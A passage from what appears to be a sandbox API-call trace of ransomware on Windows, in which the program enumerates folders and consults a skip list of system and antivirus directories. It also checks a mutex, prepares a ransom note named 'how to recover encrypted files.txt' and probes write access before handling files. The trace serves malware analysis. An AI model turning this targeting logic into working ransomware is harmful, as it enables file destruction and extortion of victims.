cAlternateFileName="ꐬR䱠@蔴T企@\x18?T\x18D")) returned 0xffffffff [0058.408] GetLastError () returned 0x2 [0058.409] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18阜R\x18j")) returned 0xffffffff [0058.410] GetLastError () returned 0x2 [0058.410] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蔴T企@\x18?T\x18q")) returned 0xffffffff [0058.412] GetLastError () returned 0x2 [0058.412] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\阘RP") returned 6 [0058.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蘜T企@\x18?T\x18y")) returned 0xffffffff [0058.413] GetLastError () returned 0x2 [0058.413] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18?T\x18\x81")) returned 0xffffffff [0058.415] GetLastError () returned 0x2 [0058.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蔴T企@\x18?T\x18\x88")) returned 0xffffffff [0058.416] GetLastError () returned 0x2 [0058.416] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.416] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蘜T企@\x18?T\x18\x8f")) returned 0xffffffff [0058.418] GetLastError () returned 0x2 [0058.418] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.418] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18?T\x18\x97")) returned 0xffffffff [0058.419] GetLastError () returned 0x2 [0058.419] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.419] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.419] GlobalLock (hMem=0x440004) returned 0x550170 [0058.419] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.419] GlobalUnlock (hMem=0x440004) returned 0 [0058.419] GlobalLock (hMem=0x440004) returned 0x550170 [0058.419] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.419] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.419] GlobalUnlock (hMem=0x440004) returned 0 [0058.420] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.420] GlobalUnlock (hMem=0x44000c) returned 0 [0058.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.420] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.420] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.420] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.420] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.420] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.420] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.420] GlobalUnlock (hMem=0x44000c) returned 0 [0058.420] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.420] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.420] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.420] GlobalUnlock (hMem=0x44000c) returned 0 [0058.420] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.420] GlobalUnlock (hMem=0x440004) returned 0 [0058.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.421] GlobalLock (hMem=0x440004) returned 0x550170 [0058.421] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.421] GlobalUnlock (hMem=0x440004) returned 0 [0058.421] GlobalLock (hMem=0x440004) returned 0x550170 [0058.421] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.421] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.421] GlobalUnlock (hMem=0x440004) returned 0 [0058.421] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.421] GlobalUnlock (hMem=0x44000c) returned 0 [0058.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.422] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.422] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.422] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.422] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.422] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.422] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.422] GlobalUnlock (hMem=0x44000c) returned 0 [0058.422] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.423] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.423] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.423] GlobalUnlock (hMem=0x44000c) returned 0 [0058.423] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.423] GlobalUnlock (hMem=0x440004) returned 0 [0058.423] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.423] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.423] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Shatter\\1047x576black.png", lpUsedDefaultChar=0x0) returned 4 [0058.424] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.424] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.425] CloseHandle (hObject=0x18c) returned 1 [0058.425] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\я")) returned 1 [0058.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, 